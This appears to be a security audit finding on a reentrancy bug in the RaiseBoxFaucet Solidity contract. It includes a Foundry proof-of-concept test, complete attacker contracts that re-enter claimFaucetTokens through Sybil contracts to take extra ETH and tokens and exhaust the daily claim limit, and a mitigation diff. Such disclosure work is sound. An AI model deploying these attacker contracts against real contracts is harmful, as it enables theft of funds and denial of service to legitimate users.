Root + Impact
Description
-
claimFaucetTokens() grants faucetDrip tokens per successful call; on the caller’s first successful call it also sends sepEthAmountToDrip ETH. Each success increments dailyClaimCount (capped by dailyClaimLimit = 100).
-
Due to a reentrancy on the ETH call, an attacker can receive ETH once and tokens twice from the same account. By deploying 50 Sybil accounts that each call twice, the attacker can exhaust the daily limit with only 50 accounts while extracting more ETH and tokens than entitled. If automated to run immediately after the daily counter reset (e.g., via Chainlink Automation), this exploit can reliably consume the daily quota each day and deny service to legitimate users.
function claimFaucetTokens() public {
...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
@> (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
@> lastClaimTime[faucetClaimer] = block.timestamp;
@> dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
emit Claimed(msg.sender, faucetDrip);
}
Risk
Likelihood:
-
Once an attacker has enough ETH to fund the initial exploit, subsequent attacks can be self‑sustaining: the ETH collected during each successful attack can finance the next one, enabling a recurring, automated exploitation without additional capital outlay.
Impact:
-
An attacker can extract significantly more ETH (up to 24×) and a correspondingly larger amount of tokens than entitled over the three‑day claim window. In practice, the attacker would consolidate this by executing 50 claims in a single attack.
-
If the exploit is automated to run each day and triggers immediately after the 24‑hour counter resets, the attacker will consume the daily call quota at once, effectively denying service to legitimate users by rendering the faucet unusable.
Proof of Concept
1) preparation: owner burn 1 token and mint a lot of token to avoid revert due to insufficient balance
2) Setting gasPrice: gasPriceSettingInGwei is set to 8 cause is the maximum gas price that allows to complete the attack being profitable. (it will be discussed deeply later).
3) Start the attack: Deploy attacker contract and start the attack.
4) Declare final balances and check assertions: once the attack is done, Verify the following, in order:
The attacker's token balance after the exploit equals their initial token balance plus the maximum number of claims allowed in a single day).
The attacker's ETH balance after the exploit equals their initial ETH balance plus sepEthAmountToDrip * 50 (50 representing half the daily maximum number of calls). This reflects that, when exploiting reentrancy from the same account, the attacker is eligible to collect ETH on the first invocation but not on the reentrant second invocation.
The daily claim counter (dailyClaimCount) has reached dailyClaimLimit, thereby preventing any further successful claims for that day.
As a final proof, have both user1 and user2 call claimFaucetTokens(), which should revert with the custom error RaiseBoxFaucet__DailyClaimLimitReached, preventing the claim.
Gas and profitability report: The gas price used by the test is configurable at line 11 to the value 8 , chosen because it represents the highest gas price (in gwei) at which the attack remains profitable in our scenario.
function testDOSDueToDoubleAttackerReentrancyToReachDailyClaimLimit() public {
vm.startPrank(owner);
raiseBoxFaucet.burnFaucetTokens(1);
raiseBoxFaucet.mintFaucetTokens(address(raiseBoxFaucet), 1000000000000 * 10 **18);
vm.stopPrank();
uint256 attackerInitialTokenBalance = raiseBoxFaucet.balanceOf(attacker);
uint256 attackerInitialEthBalance = attacker.balance;
uint256 gasPriceSettingInGwei = 8;
uint256 gasPriceInWei = gasPriceSettingInGwei * 1 gwei;
vm.txGasPrice(gasPriceInWei);
uint256 gasBefore = gasleft();
vm.startPrank(attacker);
attackerMainContract = new AttackerMainContract(address(raiseBoxFaucet));
attackerMainContract.attack();
vm.stopPrank();
uint256 gasAfter = gasleft();
uint attackerFinalEthBalance = address(attacker).balance;
uint attackerFinalTokenBalance = raiseBoxFaucet.balanceOf(address(attacker));
assertEq(attackerFinalTokenBalance, attackerInitialTokenBalance +
(raiseBoxFaucet.faucetDrip() * raiseBoxFaucet.dailyClaimLimit()));
assertEq(attackerFinalEthBalance, attackerInitialEthBalance + (raiseBoxFaucet.sepEthAmountToDrip() * 50) );
assertEq(raiseBoxFaucet.dailyClaimLimit(), raiseBoxFaucet.dailyClaimCount());
vm.prank(user1);
vm.expectRevert(
abi.encodeWithSelector(RaiseBoxFaucet.RaiseBoxFaucet__DailyClaimLimitReached.selector)
);
raiseBoxFaucet.claimFaucetTokens();
vm.prank(user2);
vm.expectRevert(
abi.encodeWithSelector(RaiseBoxFaucet.RaiseBoxFaucet__DailyClaimLimitReached.selector)
);
raiseBoxFaucet.claimFaucetTokens();
uint256 gasUsed = gasBefore - gasAfter;
uint256 gasCostWei = gasUsed * tx.gasprice;
uint256 ethGained = attacker.balance - attackerInitialEthBalance;
uint256 netProfitEth;
unchecked{
netProfitEth = ethGained - gasCostWei;
}
bool isProfitable;
if(netProfitEth < ethGained){
isProfitable = true;
}
assertEq(isProfitable, true);
}
Attacker Contract
This contract was developed with the following considerations:
-
The target contract lacks reentrancy protection, making it vulnerable to reentrancy attacks.
-
The claimFaucetTokens() function performs an external call that transfers ETH, allowing an attacker to trigger their contract’s receive function during the call.
-
ETH can be claimed only once per account because the hasClaimedEth mapping is updated before the external call.
-
Consequently, a reentrancy exploit from the same account provides only a single opportunity to capture ETH.
-
The same account cannot perform more than two invocations (including reentrant calls), since token transfers and state updates occur on the second call, preventing further claims.
The attack involves two contracts: Main (factory) contract and contracts for single attack
contract AttackerMainContract is Ownable {
IRaiseBoxFaucet raiseBoxFaucet;
constructor(address _raiseBoxFauecet)Ownable(msg.sender) payable{
raiseBoxFaucet = IRaiseBoxFaucet(_raiseBoxFauecet);
}
function attack() external onlyOwner {
(uint256 numberOfContracts, bool numberIsEven) = _getNumberOfContract();
address payable [] memory attackers = new address payable[] (numberOfContracts);
for(uint i = 0; i <numberOfContracts; i++){
AttackerContract attacker = new AttackerContract(address(raiseBoxFaucet));
attackers[i] = payable(address (attacker));
}
for(uint i = 0; i <numberOfContracts; i++){
AttackerContract(attackers[i]).attack();
}
if(!numberIsEven){
raiseBoxFaucet.claimFaucetTokens();
}
raiseBoxFaucet.transfer(owner(), raiseBoxFaucet.balanceOf(address(this)));
(bool success, ) = owner().call{value: address(this).balance}("");
require(success, "final eth transfer Failed");
}
receive() payable external {
}
function _getNumberOfContract()private view returns(uint256, bool){
uint256 temporaryNumberOfContracts = (raiseBoxFaucet.dailyClaimLimit() - raiseBoxFaucet.dailyClaimCount())* 10 / 2;
uint256 numberOfContracts;
bool numberIsEven;
if(temporaryNumberOfContracts % 10 == 0){
numberIsEven = true;
numberOfContracts = temporaryNumberOfContracts / 10;
} else {
numberOfContracts = (temporaryNumberOfContracts - 5) /10;
}
return(numberOfContracts, numberIsEven);
}
}
-
The attacker contract for a single run calls claimFaucetTokens(), uses its receive fallback to perform a single reentrant invocation, and then forwards all collected tokens and ETH to the main (factory) contract.
contract AttackerContract {
IRaiseBoxFaucet immutable raiseBoxFaucet;
address private immutable owner;
constructor(address _raiseBoxFauecet) payable{
raiseBoxFaucet = IRaiseBoxFaucet(_raiseBoxFauecet);
owner = msg.sender;
}
function attack() external{
require(msg.sender == owner, "notMainContract");
raiseBoxFaucet.claimFaucetTokens();
(bool ethTransferSuccess,) = owner.call{value: address(this).balance}("");
require(ethTransferSuccess, "eth transfer failed");
(bool tokenTransferSuccess) = raiseBoxFaucet.transfer(owner, raiseBoxFaucet.balanceOf(address(this)));
require(tokenTransferSuccess, "token transfer failed");
}
receive() external payable{
raiseBoxFaucet.claimFaucetTokens();
}
}
Recommended Mitigation
pragma solidity ^0.8.30;
...
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
....
function claimFaucetTokens() public
+ nonReentrant
{
...
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ }
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
...
} else {
dailyDrips = 0;
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
...
}